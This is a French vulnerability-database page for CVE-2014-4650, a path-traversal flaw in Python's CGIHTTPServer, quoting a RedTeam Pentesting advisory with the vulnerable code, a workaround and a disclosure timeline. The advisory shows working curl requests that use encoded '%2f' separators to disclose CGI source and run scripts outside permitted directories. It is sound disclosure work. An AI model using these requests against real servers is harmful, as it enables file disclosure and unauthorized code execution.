CVE-2014-4650 : Détail

CVE-2014-4650

9.8
/
Critique
Directory Traversal
A01-Broken Access Control
10.3%V4
Network
2020-02-20
15h01 +00:00
2020-02-20
15h01 +00:00
CVE.org
NVD
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Descriptions du CVE

The CGIHTTPServer module in Python 2.7.5 and 3.3.4 does not properly handle URLs in which URL encoding is used for path separators, which allows remote attackers to read script source code or conduct directory traversal attacks and execute unintended code via a crafted character sequence, as demonstrated by a %2f separator.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 33894

Date de publication : 2014-06-26 22h00 +00:00
Auteur : RedTeam Pentesting
EDB Vérifié : Yes

Advisory: Python CGIHTTPServer File Disclosure and Potential Code Execution The CGIHTTPServer Python module does not properly handle URL-encoded path separators in URLs. This may enable attackers to disclose a CGI script's source code or execute arbitrary CGI scripts in the server's document root. Details ======= Product: Python CGIHTTPServer Affected Versions: 2.7 - 2.7.7, 3.2 - 3.2.4, 3.3 - 3.3.2, 3.4 - 3.4.1, 3.5 pre-release Fixed Versions: 2.7 rev b4bab0788768, 3.2 rev e47422855841, 3.3 rev 5676797f3a3e, 3.4 rev 847e288d6e93, 3.5 rev f8b3bb5eb190 Vulnerability Type: File Disclosure, Directory Traversal, Code Execution Security Risk: high Vendor URL: https://docs.python.org/2/library/cgihttpserver.html Vendor Status: fixed version released Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2014-008 Advisory Status: published CVE: CVE-2014-4650 CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-4650 Introduction ============ The CGIHTTPServer module defines a request-handler class, interface compatible with BaseHTTPServer. BaseHTTPRequestHandler and inherits behavior from SimpleHTTPServer. SimpleHTTPRequestHandler but can also run CGI scripts. (from the Python documentation) More Details ============ The CGIHTTPServer module can be used to set up a simple HTTP server with CGI scripts. A sample server script in Python may look like the following: ------------------------------------------------------------------------ #!/usr/bin/env python2 import CGIHTTPServer import BaseHTTPServer if __name__ == "__main__": server = BaseHTTPServer.HTTPServer handler = CGIHTTPServer.CGIHTTPRequestHandler server_address = ("", 8000) # Note that only /cgi-bin will work: handler.cgi_directories = ["/cgi-bin", "/cgi-bin/subdir"] httpd = server(server_address, handler) httpd.serve_forever() ------------------------------------------------------------------------ This server should execute any scripts located in the subdirectory "cgi-bin". A sample CGI script can be placed in that directory, for example a script like the following: ------------------------------------------------------------------------ #!/usr/bin/env python2 import json import sys db_credentials = "SECRET" sys.stdout.write("Content-type: text/json\r\n\r\n") sys.stdout.write(json.dumps({"text": "This is a Test"})) ------------------------------------------------------------------------ The Python library CGIHTTPServer.py implements the CGIHTTPRequestHandler class which inherits from SimpleHTTPServer.SimpleHTTPRequestHandler: class SimpleHTTPRequestHandler(BaseHTTPServer.BaseHTTPRequestHandler): [...] def do_GET(self): """Serve a GET request.""" f = self.send_head() if f: try: self.copyfile(f, self.wfile) finally: f.close() def do_HEAD(self): """Serve a HEAD request.""" f = self.send_head() if f: f.close() def translate_path(self, path): [...] path = posixpath.normpath(urllib.unquote(path)) words = path.split('/') words = filter(None, words) path = os.getcwd() [...] The CGIHTTPRequestHandler class inherits, among others, the methods do_GET() and do_HEAD() for handling HTTP GET and HTTP HEAD requests. The class overrides send_head() and implements several new methods, such as do_POST(), is_cgi() and run_cgi(): class CGIHTTPRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): [...] def do_POST(self): [...] if self.is_cgi(): self.run_cgi() else: self.send_error(501, "Can only POST to CGI scripts") def send_head(self): """Version of send_head that support CGI scripts""" if self.is_cgi(): return self.run_cgi() else: return SimpleHTTPServer.SimpleHTTPRequestHandler.send_head(self) def is_cgi(self): [...] collapsed_path = _url_collapse_path(self.path) dir_sep = collapsed_path.find('/', 1) head, tail = collapsed_path[:dir_sep], collapsed_path[dir_sep+1:] if head in self.cgi_directories: self.cgi_info = head, tail return True return False [...] def run_cgi(self): """Execute a CGI script.""" dir, rest = self.cgi_info [...] # dissect the part after the directory name into a script name & # a possible additional path, to be stored in PATH_INFO. i = rest.find('/') if i >= 0: script, rest = rest[:i], rest[i:] else: script, rest = rest, '' scriptname = dir + '/' + script scriptfile = self.translate_path(scriptname) if not os.path.exists(scriptfile): self.send_error(404, "No such CGI script (%r)" % scriptname) return if not os.path.isfile(scriptfile): self.send_error(403, "CGI script is not a plain file (%r)" % scriptname) return [...] [...] For HTTP GET requests, do_GET() first invokes send_head(). That method calls is_cgi() to determine whether the requested path is to be executed as a CGI script. The is_cgi() method uses _url_collapse_path() to normalize the path, i.e. remove extraneous slashes (/),current directory (.), or parent directory (..) elements, taking care not to permit directory traversal below the document root. The is_cgi() function returns True when the first path element is contained in the cgi_directories list. As _url_collaps_path() and is_cgi() never URL decode the path, replacing the forward slash after the CGI directory in the URL to a CGI script with the URL encoded variant %2f leads to is_cgi() returning False. This will make CGIHTTPRequestHandler's send_head() then invoke its parent's send_head() method which translates the URL path to a file system path using the translate_path() method and then outputs the file's contents raw. As translate_path() URL decodes the path, this then succeeds and discloses the CGI script's file contents: $ curl http://localhost:8000/cgi-bin%2ftest.py #!/usr/bin/env python2 import json import sys db_credentials = "SECRET" sys.stdout.write("Content-type: text/json\r\n\r\n") sys.stdout.write(json.dumps({"text": "This is a Test"})) Similarly, the CGIHTTPRequestHandler can be tricked into executing CGI scripts that would normally not be executable. The class normally only allows executing CGI scripts that are direct children of one of the directories listed in cgi_directories. Furthermore, only direct subdirectories of the document root (the current working directory) can be valid CGI directories. This can be seen in the following example. Even though the sample server shown above includes "/cgi-bin/subdir" as part of the request handler's cgi_directories, a CGI script named test.py in that directory is not executed: $ curl http://localhost:8000/cgi-bin/subdir/test.py [...] <p>Error code 403. <p>Message: CGI script is not a plain file ('/cgi-bin/subdir'). [...] Here, is_cgi() set self.cgi_info to ('/cgi-bin', 'subdir/test.py') and returned True. Next, run_cgi() further dissected these paths to perform some sanity checks, thereby mistakenly assuming subdir to be the executable script's filename and test.py to be path info. As subdir is not an executable file, run_cgi() returns an error message. However, if the forward slash between subdir and test.py is replaced with %2f, invoking the script succeeds: $ curl http://localhost:8000/cgi-bin/subdir%2ftest.py {"text": "This is a Test"} This is because neither is_cgi() nor run_cgi() URL decode the path during processing until run_cgi() tries to determine whether the target script is an executable file. More specifically, as subdir%2ftest.py does not contain a forward slash, it is not split into the script name subdir and path info test.py, as in the previous example. Similarly, using URL encoded forward slashes, executables outside of a CGI directory can be executed: $ curl http://localhost:8000/cgi-bin/..%2ftraversed.py {"text": "This is a Test"} Workaround ========== Subclass CGIHTTPRequestHandler and override the is_cgi() method with a variant that first URL decodes the supplied path, for example: class FixedCGIHTTPRequestHandler(CGIHTTPServer.CGIHTTPRequestHandler): def is_cgi(self): self.path = urllib.unquote(self.path) return CGIHTTPServer.CGIHTTPRequestHandler.is_cgi(self) Fix === Update to the latest Python version from the Mercurial repository at http://hg.python.org/cpython/ Security Risk ============= The vulnerability can be used to gain access to the contents of CGI binaries or the source code of CGI scripts. This may reveal sensitve information, for example access credentials. This can greatly help attackers in mounting further attacks and is therefore considered to pose a high risk. Furthermore attackers may be able to execute code that was not intended to be executed. However, this is limited to files stored in the server's working directory or in its subdirectories. The CGIHTTPServer code does contain this warning: "SECURITY WARNING: DON'T USE THIS CODE UNLESS YOU ARE INSIDE A FIREWALL" Even when used on a local computer this may allow other local users to execute code in the context of another user. Timeline ======== 2014-04-07 Vulnerability identified 2014-06-11 Customer approved disclosure to vendor 2014-06-11 Vendor notified 2014-06-15 Vendor disclosed vulnerability in their public bug tracker and addressed it in public source code repository 2014-06-23 CVE number requested 2014-06-25 CVE number assigned 2014-06-26 Advisory released References ========== http://bugs.python.org/issue21766 RedTeam Pentesting GmbH ======================= RedTeam Pentesting offers individual penetration tests, short pentests, performed by a team of specialised IT-security experts. Hereby, security weaknesses in company networks or products are uncovered and can be fixed immediately. As there are only few experts in this field, RedTeam Pentesting wants to share its knowledge and enhance the public knowledge with research in security related areas. The results are made available as public security advisories. More information about RedTeam Pentesting can be found at https://www.redteam-pentesting.de. -- RedTeam Pentesting GmbH Tel.: +49 241 510081-0 Dennewartstr. 25-27 Fax : +49 241 510081-99 52068 Aachen https://www.redteam-pentesting.de Germany Registergericht: Aachen HRB 14004 Geschäftsführer: Patrick Hof, Jens Liebchen

Products Mentioned

Configuraton 0

Python>>Python >> Version From (including) 2.7.0 To (excluding) 2.7.8

Python>>Python >> Version From (including) 3.2.0 To (excluding) 3.2.6

Python>>Python >> Version From (including) 3.3.0 To (excluding) 3.3.6

Python>>Python >> Version From (including) 3.4.0 To (excluding) 3.4.2

Configuraton 0

Redhat>>Software_collections >> Version -

Redhat>>Enterprise_linux >> Version 5.0

Redhat>>Enterprise_linux >> Version 6.0

Redhat>>Enterprise_linux >> Version 7.0

Références

http://bugs.python.org/issue21766
Tags : x_refsource_MISC
https://access.redhat.com/security/cve/cve-2014-4650
Tags : vendor-advisory, x_refsource_REDHAT
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